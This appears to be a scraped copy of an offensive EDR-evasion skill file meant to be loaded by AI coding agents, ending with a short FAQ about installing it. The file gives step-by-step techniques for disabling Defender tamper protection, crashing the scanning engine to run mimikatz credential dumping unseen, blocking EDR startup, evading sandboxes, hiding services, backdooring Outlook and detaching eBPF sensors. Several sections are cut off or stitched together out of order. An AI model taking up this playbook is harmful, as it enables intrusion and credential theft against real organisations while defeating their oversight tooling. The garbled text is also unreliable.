Requires administrative privileges to change system-wide DNS settings.
Easily detectable if network settings are monitored.
Agent Tampering & Tamper‑Protection Bypasses
Microsoft Defender's Tamper Protection (and similar vendor self‑protection) can be disabled by
Launching a TrustedInstaller‑child process and modifying service registry keys (e.g., sc config Sense start= disabled).
Changing ACLs on WdFilter or SenseIR registry values, then rebooting so the filter driver never loads.
Many commercial EDRs expose self‑protection flags via WMI namespaces; clearing the flag allows the agent service to be stopped or deleted.
Detection guidance: alert on writes to antivirus/EDR service parameters or attempted driver unloads while the service is running.
Cloud‑Side XDR Telemetry Throttling & Poisoning
Local evasion is incomplete: vendors replay queued events when connectivity returns.
Attackers therefore:
Throttle upload intervals (e.g., SenseUploadFrequency) to several hours.
Inject thousands of benign events (mass process creations) to drown anomaly‑detection models (“telemetry poisoning”).
Blue teams should monitor for sudden policy flips or extreme event‑volume spikes with low entropy.
Scanning Engine DoS Attacks
A technique to disable EDRs by exploiting memory corruption vulnerabilities in their file scanning engines, particularly effective against Microsoft Defender.
Concept:
Trigger memory corruption bugs in EDR scanning engines
Crashes the main EDR process when malicious files are scanned
Can be deployed alongside initial access payloads or before credential dumping
Microsoft Defender Targeting (mpengine.dll):
File-based DoS Vectors:
# Create malicious files that crash Defender during scanning
# PE files with specific corruption patterns
# Encrypted Office documents with malformed saltSize values
# JavaScript files that trigger emulation crashes
# Mach-O files that cause Lua script execution errors
Delivery Methods:
<a href="malicious.pdf" download>Download PDF</a>
# SMB share delivery for lateral movement
copy crash_defender.docx \\target\share\documents\
# Defender crashes when scanning uploaded file
mimikatz.exe privilege::debug sekurlsa::logonpasswords
Email attachment delivery:
# Email malicious files that crash Defender during email scanning
# Particularly effective against organizations with Defender for Office 365
# Timing allows subsequent payloads to execute without detection
Attack Sequence for Initial Access:
Deliver crash file alongside main payload
Crash file triggers when Defender scans downloads folder
Main EDR process (MsMpEng.exe) crashes and restarts
Execute main payload during restart window
Subsequent malicious activity may go undetected
Attack Sequence for Internal Movement:
Upload crash file to network share before credential dumping
Wait for Defender to scan and crash
Execute credential dumping tools (Mimikatz, etc.)
EDR restart may not catch the dumping activity
Limitations:
Requires specific file format knowledge
Some crashes only occur with PageHeap enabled
Microsoft may quietly patch vulnerabilities
Defender restarts automatically, limiting window
Other EDR vendors may have different scanning engines
Defensive Considerations:
Monitor for unexpected MsMpEng.exe crashes
Implement scanning engine crash alerting
Consider sandboxing file scanning processes
Deploy additional EDR solutions for redundancy
EDR-Specific Driver Interface Abuse
ALPC Communication Attacks
Advanced Local Procedure Call (ALPC) is commonly used for EDR inter-process communication and presents a significant attack surface:
Windows ALPC Technical Background
ALPC Overview:
Windows Advanced (or Asynchronous) Local Procedure Call is an IPC mechanism for same-host communication
Undocumented by Microsoft - developers intended to use official libraries like RPCRT4.dll
Fast and efficient mechanism heavily used within Windows OS
Commonly implemented as Windows RPC "ncalrpc" transport
ALPC Port Registration:
// Example ALPC-RPC Server Registration (from Cortex XDR analysis)
RpcServerUseProtseqEp(L"ncalrpc", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, endpoint, NULL);
RpcServerRegisterIf(interface_handle, NULL, NULL);
RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, FALSE);
Key ALPC Characteristics:
Port Naming: If port name is NULL, random name like LRPC-71dcaff45b0f633aad is assigned
Access Control: Ports can be restricted using Security Descriptors
Endpoint Mapper: Most EDR ports are NOT registered at RPC Endpoint Mapper
Visibility: ProcessHacker/SystemInformer displays all ports in Handles tab; WinObj shows them under \RPC Control\
Client Connection: Clients connect using port name or interface UUID (if registered)
ALPC Vulnerability Categories:
Weak Access Control: Missing restrictions leading to unauthorized access
Memory Corruption: Bugs in function parameter handling
Impersonation Issues: Though usefulness in realistic scenarios unclear
DoS via Blocking: The vulnerability class discovered in this research (previously undiscussed publicly)
Namespace Object Exploitation
Object Manager Namespace Attacks:
Exploit how EDRs handle preexisting objects in the Object Manager's namespace
Can cause permanent agent crashes/stops for low-privileged users
Part of the broader ALPC blocking vulnerability class affecting multiple EDR vendors
Technical Background:
Windows Object Manager maintains a hierarchical namespace for kernel objects
Objects include mutexes, events, semaphores, ALPC ports, and named pipes
EDRs often use predictable object names for inter-process communication
Poor error handling when objects already exist leads to initialization failures
Exploitation Techniques:
ALPC Port Pre-registration:
# Create ALPC port with EDR's expected name
# This blocks the EDR from creating its communication channel
$portName = "LRPC-EDRCommPort" # Example EDR port name
# Use RPC runtime to register port before EDR starts
Mutex/Event Object Blocking:
# Example: Creating conflicting namespace objects
# This can interfere with EDR agent startup and operation
New-Item -Path "\\.\Global\EDR_AGENT_MUTEX" -Force
# Block common EDR synchronization objects
$objects = @(
"\\.\Global\CortexAgentMutex",
"\\.\Global\DefenderStartupEvent",
"\\.\Global\EDRInitComplete"
)
foreach ($obj in $objects) {
try { New-Item -Path $obj -Force } catch {}
}
hostnames changes do not generate Azure audit logs at all
Both operations update local registry at HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo\{ID}\
Implementation via API requires device certificate authentication
Limited attack surface but demonstrates interesting logging blind spots for cloud-managed devices
Conditional Access Evasion
Conditional‑Access policies hinge on properties like trustType, deviceComplianceState, and risk level.
Attackers possessing the device certificate can invoke DsregSetDeviceProperty() to flip these flags, then run dsregcmd /refreshprereqs to push altered attributes to Entra ID.
Impact: stolen or cached tokens appear compliant, bypassing MFA or device‑based restrictions until the next compliance refresh.
Note: "No detection" of the initial execution or implant drop doesn't guarantee that no alerts are generated for the blue team based on telemetry or subsequent actions.
String Obfuscation
Use strings obfuscation libraries to make static analysis more difficult:
Cloning: Modifying an implant's PE attributes (icon, version info, name, etc.) to match a legitimate, commonly found binary on the target system can aid evasion.
Cloning an unsigned legitimate binary (like at.exe) and leaving the implant unsigned might bypass checks more effectively than cloning a signed binary (like RuntimeBroker.exe) and signing the implant with a spoofed certificate, especially if the defender verifies signatures for known system files.
Code Signing (Spoofed): Signing an implant, even with an invalid or spoofed certificate (e.g., mimicking a legitimate entity), can sometimes reduce detection rates. Some AV/EDR solutions may not rigorously validate the certificate chain.
Timestamping Server: The specific Time Stamp Authority (TSA) server used during the signing process can unexpectedly influence detection outcomes by different AV/EDR products.
Testing: Effectiveness heavily depends on the specific EDR/AV and target environment configuration. Always test locally.
Entropy, File Pumping, Bloating
Entropy measures how random data appears:
Lower entropy indicates less randomness
Higher entropy might flag as packed/compressed/anomalous
Techniques to manipulate entropy:
Add long strings of random English words
Keep implant small but insert many English words (file bloating)
Bloat the file significantly so AV/EDR won't bother scanning
Time-Delayed Execution
Allows execution to time-out emulation sweeps
Slow down each step of malware execution: alloc => chunk1 write ... chunkN write => execute
General Suggestions
use SORTED-RVA strategy
FreshyCalls
Runtime Function Table
don't rely on fresh NTDLL.DLL parsing, don't load one from process/memory
don't used direct syscalls that extract syscall
Emulator Evasion
Environmental keying - check username, domain, specific UNC/SMB path, registry value
IP geolocation - call out to services like http://ip-api.com/json to verify location
Verify expected process/filename - sandboxes often rename samples to <HASH>.exe
Verify expected parent process - useful for DLL side-loading scenarios where sandboxes run DLLs via rundll32
Check for physical display devices
Controlled Decryption
Carefully inspect environment before decompressing and decrypting shellcode
For zero knowledge about environment, pull decryption keys from internet/DNS
Fooling Import Hash (ImpHash)
Create unreachable code paths in native loader
In that unreachable code, call Windows APIs with dummy parameters
Compile the code
Locate those APIs in the executable's import address table
Overwrite imported function names in PE headers with random other names from the same DLL
Command Line Spoofing
Modifies command line arguments in process memory
Hides actual parameters from EDR telemetry
Makes detection based on command line difficult
Killing Bit Technique
Detection Signatures are being implemented on
Syscall Hashes
Assembly stub bytes
Hashing routines/functions
Evasion
Implement your own or modify existing direct syscalls harness
After hashing algorithm change KEY/BitShift/ROL/arithmatic is enough to refresh hashes
Insert junk instructions into assembly stubs so naive static signatures won't match any longer
use Indirect Syscalls, find SYSCALL instruction somewhere in ntdll.dll and jump there
General Suggestions
use SORTED-RVA strategy
FreshyCalls
Runtime Function Table
don't rely on fresh NTDLL.DLL parsing, don't load one from process/memory
Drop VbaProject.OTM* to backdoor Outlook (particularly effective against CrowdStrike)
Drop CPL (%APPDATA%\Microsoft\Outlook\VbaProject.OTM)
Hide Services:
Use Security Descriptor Definition Language (SDDL) strings to modify service permissions, making them harder to detect or query by standard tools. You can use sc sdset for this.
# Example: Hiding a service named 'evilsvc'
sc sdset evilsvc "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
May be flagged by other security solutions monitoring WSC changes
Effectiveness depends on target system configuration and other security layers
Legitimate Use Cases:
Development environment resource optimization
Performance testing under different security configurations
Educational research on Windows security mechanisms
Home lab experimentation
Enhance Protection
Prevent LSASS dumping by running it as a protected process light (RunAsPPL)
Deeper analysis on EDR telemetry
Heavy monitoring on common external compromise vectors
Application Allow Listing
LSASS protection (RunAsPPL) defaults
Windows 11 version 22H2 (new installs): Added LSA protection is enabled by default when the device is enterprise joined and supports HVCI; upgrades may not auto-enable.
Windows 11 version 24H2: LSA protection defaults are broader; Microsoft notes it is enabled by default on more device categories (MSA/Entra/hybrid/local) with evaluation behavior on upgrade.
Blue-team quick checks:
Verify registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa → RunAsPPL/RunAsPPLBoot (policy may also store a UEFI variable for lock).
Confirm status with eventing and Get-ProcessMitigation -System and hardware readiness (Get-CimInstance Win32_DeviceGuard).
Firmware & Boot‑level Threats
UEFI Bootkits (e.g., BlackLotus, CosmicStrand‑2024) execute during the DXE phase, disable BitLocker and HVCI before Windows loads, and can patch kernel code pages before EDR starts.
Secure Boot bypass CVE‑2024‑7344 abuses an un‑revoked test‑signed shim to load unsigned payloads even with Secure Boot enabled.
Mitigations
Keep DBX revocation list current (August 2024 or later).
Enable Windows Defender System Guard Secure Launch and SVI.
Collect & review TPM PCR[7] and System Guard logs for unexpected changes.
Linux / Container Visibility & Evasion
eBPF Runtime Sensors
Tools like Falco 0.38+ , Cilium Tetragon (real‑time enforcement with kubectl tetragon observe), and AWS GuardDuty eBPF hook sys_enter tracepoints and kprobes to emulate EDR telemetry on Kubernetes nodes.
Evasion
Detach or overwrite the eBPF program with bpftool prog detach.
Remount debugfs elsewhere to hide BPF maps and programs.
Hide processes in sidecar containers that run outside the node‑agent's PID namespace filter.
PID‑Namespace & Cgroup Tricks
CVE‑2025‑26324 leaks host PIDs, allowing a container process to open /proc/<hostpid>/mem and bypass namespace‑based sensors.
Sid
How do I install Claude-Red?
Download Skills/infrastructure/offensive-edr-evasion/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does Claude-Red live?
The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
Which agents can use Claude-Red?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.